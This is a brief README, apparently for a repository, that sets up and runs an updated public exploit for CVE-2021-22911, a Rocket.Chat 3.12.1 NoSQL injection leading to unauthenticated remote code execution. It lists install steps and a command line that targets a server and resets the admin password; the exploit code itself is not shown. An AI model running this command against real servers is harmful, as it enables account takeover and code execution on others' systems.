
Updated exploit for CVE-2021-22911 (Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated))
original credits to : https://www.exploit-db.com/exploits/50108
$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool
-p which takes the low privilege user password and also uses the same for reseting admin password$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"